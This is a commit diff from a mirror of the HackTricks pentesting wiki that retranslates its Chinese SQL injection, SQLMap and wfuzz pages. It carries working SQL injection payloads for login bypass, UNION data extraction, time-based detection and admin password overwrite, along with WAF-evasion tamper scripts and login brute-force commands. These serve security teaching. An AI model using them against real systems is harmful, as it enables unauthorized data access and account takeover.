mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq
This commit is contained in:
parent
de4554e969
commit
d17bf4a57d
4 changed files with 66 additions and 66 deletions
|
@ -630,7 +630,7 @@
|
|||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# SQL Injection
|
||||
# SQL 注入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -17,13 +17,13 @@
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 什么是 SQL 注入?
|
||||
|
||||
**SQL 注入** 是一种安全漏洞,允许攻击者 **干扰应用程序的数据库查询**。此漏洞使攻击者能够 **查看**、**修改** 或 **删除** 他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或拒绝服务。
|
||||
**SQL 注入** 是一种安全漏洞,允许攻击者 **干扰应用程序的数据库查询**。此漏洞使攻击者能够 **查看**、**修改** 或 **删除** 他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或服务拒绝。
|
||||
|
||||
## 入口点检测
|
||||
|
||||
|
@ -71,13 +71,13 @@ SQLite
|
|||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### 使用逻辑运算进行确认
|
||||
### 确认逻辑操作
|
||||
|
||||
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如,GET 参数如 `?username=Peter` 在修改为 `?username=Peter' or '1'='1` 时产生相同内容,表明存在 SQL 注入漏洞。
|
||||
确认SQL注入漏洞的可靠方法涉及执行**逻辑操作**并观察预期结果。例如,GET参数如`?username=Peter`在修改为`?username=Peter' or '1'='1`时产生相同内容,表明存在SQL注入漏洞。
|
||||
|
||||
同样,应用 **数学运算** 作为有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 产生相同结果,这表明存在 SQL 注入。
|
||||
同样,应用**数学操作**作为有效的确认技术。例如,如果访问`?id=1`和`?id=2-1`产生相同结果,这表明存在SQL注入。
|
||||
|
||||
演示逻辑运算确认的示例:
|
||||
演示逻辑操作确认的示例:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
|
@ -90,7 +90,7 @@ page.asp?id=1 and 1=2 -- results in false
|
|||
|
||||
### 通过时间确认
|
||||
|
||||
在某些情况下,你**不会注意到任何变化**在你正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,这将对页面加载所需的**时间**产生**影响**。\
|
||||
在某些情况下,您**不会注意到任何变化**在您正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,并对页面加载所需的**时间产生影响**。\
|
||||
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
|
@ -145,7 +145,7 @@ SQLite
|
|||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
此外,如果您可以访问查询的输出,您可以使其**打印数据库的版本**。
|
||||
也就是说,如果您可以访问查询的输出,您可以让它**打印数据库的版本**。
|
||||
|
||||
{% hint style="info" %}
|
||||
接下来我们将讨论不同的方法来利用不同类型的SQL注入。我们将以MySQL为例。
|
||||
|
@ -155,7 +155,7 @@ SQLite
|
|||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
|
||||
## 利用基于联合的注入
|
||||
## 利用基于联合的攻击
|
||||
|
||||
### 检测列数
|
||||
|
||||
|
@ -165,7 +165,7 @@ SQLite
|
|||
|
||||
#### Order/Group by
|
||||
|
||||
要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者可以相同地用于确定查询的列数。
|
||||
要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者可以以相同的方式用于确定查询的列数。
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -183,7 +183,7 @@ SQLite
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
选择越来越多的空值,直到查询正确:
|
||||
选择更多的空值,直到查询正确:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
|
@ -204,7 +204,7 @@ _您应该使用 `null` 值,因为在某些情况下,查询两侧的列类
|
|||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_在每个不同的数据库中发现这些数据的方法各不相同,但方法论始终相同。_
|
||||
_每个不同的数据库都有不同的方法来发现这些数据,但方法论始终相同。_
|
||||
|
||||
## 利用隐藏的基于联合的注入
|
||||
|
||||
|
@ -232,7 +232,7 @@ _在每个不同的数据库中发现这些数据的方法各不相同,但方
|
|||
```
|
||||
## 利用错误盲SQLi
|
||||
|
||||
这是**与之前相同的情况**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:
|
||||
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
|
@ -260,7 +260,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```
|
||||
## 自动化利用
|
||||
|
||||
查看 [SQLMap Cheetsheat](sqlmap/) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
查看 [SQLMap Cheatsheet](sqlmap/) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
|
||||
## 技术特定信息
|
||||
|
||||
|
@ -278,7 +278,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。以 **促进技术知识为使命**,这个大会是各个学科技术和网络安全专业人士的热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -294,7 +294,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希时会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希后会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
|
@ -312,7 +312,7 @@ _(这些有效载荷也包含在本节开头提到的大列表中)_
|
|||
|
||||
### GBK 认证绕过
|
||||
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,它将被创建为:0xA80x5c0x27 (_╘'_)
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
|
@ -335,23 +335,23 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
||||
### 修改现有对象/用户的密码
|
||||
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**)并修改某些内容:
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**),修改某些内容:
|
||||
|
||||
* 创建名为:**AdMIn**(大小写字母)
|
||||
* 创建名为:**admin=**的用户
|
||||
* **SQL截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
|
||||
* **SQL截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**的用户
|
||||
|
||||
#### SQL截断攻击
|
||||
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任何密码。
|
||||
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**最大允许字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格,更新**数据库中的用户“**admin**”与**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
||||
|
||||
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_注意:在最新的MySQL安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请参见:[https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### MySQL基于时间的插入检查
|
||||
### MySQL插入基于时间的检查
|
||||
|
||||
根据您的考虑,添加尽可能多的`','',''`以退出VALUES语句。如果执行了延迟,则您有SQL注入。
|
||||
```sql
|
||||
|
@ -359,11 +359,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
|||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码:
|
||||
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员帐户的密码:
|
||||
|
||||
示例有效载荷注入:
|
||||
示例有效负载注入:
|
||||
|
||||
有效载荷可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
|
||||
有效负载可能被构造如下,其中尝试将两行插入 `users` 表。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
|
@ -388,7 +388,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
|||
|
||||
使用此技术,您可以仅创建 1 个帐户来提取信息。重要的是要注意,您不需要注释任何内容。
|
||||
|
||||
使用 **hex2dec** 和 **substr**:
|
||||
使用 **hex2dec** 和 **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
|
@ -407,7 +407,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。 该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈的交流平台。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。 该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -420,7 +420,7 @@ Routed SQL injection 是一种情况,其中可注入查询不是产生输出
|
|||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF 绕过
|
||||
## WAF Bypass
|
||||
|
||||
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# SQLMap - 速查表
|
||||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -17,7 +17,7 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -92,7 +92,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
### 注入成功时指示字符串
|
||||
### 当注入成功时指示字符串
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
|
@ -156,34 +156,34 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
|
||||
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
|
||||
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
|
||||
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
||||
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
|
||||
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
|
||||
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
|
||||
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
|
||||
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
|
||||
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换 'MID(A, B, C)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' 替换 'CONCAT(A, B)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已编码的字符)。"\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
|
||||
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
||||
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
|
||||
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换 'IFNULL(A, B)' 的实例 |
|
||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已经编码的字符) |
|
||||
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
|
||||
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
|
||||
| concat2concatws.py | 用 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
|
||||
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已经编码的字符) |
|
||||
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已经编码的字符)。"%u0022" |
|
||||
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode-url 编码(不处理已经编码的字符)。"\u0022" |
|
||||
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') |
|
||||
| escapequotes.py | 斜杠转义引号 (' 和 ") |
|
||||
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
|
||||
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
|
||||
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换类似 'IFNULL(A, B)' 的实例 |
|
||||
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
|
||||
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
|
||||
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
|
||||
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器 |
|
||||
| percentage.py | 在每个字符前添加百分号 ('%') |
|
||||
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
|
||||
| percentage.py | 在每个字符前添加百分号 ('%') |
|
||||
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已经编码的字符) |
|
||||
| randomcase.py | 用随机大小写值替换每个关键字字符 |
|
||||
| randomcomments.py | 向 SQL 关键字添加随机注释 |
|
||||
| randomcomments.py | 向 SQL 关键字添加随机注释 |
|
||||
| securesphere.py | 附加特殊构造的字符串 |
|
||||
| sp\_password.py | 在有效负载末尾附加 'sp\_password' 以自动混淆 DBMS 日志 |
|
||||
| sp\_password.py | 在有效负载末尾附加 'sp\_password' 以自动混淆 DBMS 日志 |
|
||||
| space2comment.py | 用注释替换空格字符 (' ') |
|
||||
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
|
||||
|
@ -194,18 +194,18 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
|
||||
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
|
||||
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
|
||||
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
|
||||
| symboliclogical.py | 用其符号对应物替换 AND 和 OR 逻辑运算符 (&& 和 |
|
||||
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
|
||||
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
|
||||
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
|
||||
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
||||
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
||||
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
|
||||
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
|
||||
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
|
||||
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
||||
**即时可用的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从任何地方运行完整的渗透测试,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -218,8 +218,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -57,7 +57,7 @@ wfuzz -e encoders #Prints the available encoders
|
|||
-w /path/to/file,base64 #Will use a list, and transform to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
```
|
||||
## CheetSheet
|
||||
## CheatSheet
|
||||
|
||||
### 登录表单暴力破解
|
||||
|
||||
|
@ -66,7 +66,7 @@ wfuzz -e encoders #Prints the available encoders
|
|||
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
#Here we have filtered by line
|
||||
```
|
||||
#### **POST, 2 列表, 过滤代码 (显示)**
|
||||
#### **POST,2个列表,过滤代码(显示)**
|
||||
```bash
|
||||
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
#Here we have filtered by code
|
||||
|
@ -91,7 +91,7 @@ wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FU
|
|||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
|
||||
```
|
||||
#### **NTLM, 2个列表, 过滤字符串 (显示), 代理**
|
||||
#### **NTLM,2个列表,过滤字符串(显示),代理**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
|
||||
```
|
||||
|
@ -139,8 +139,8 @@ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR分享黑客技巧。
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue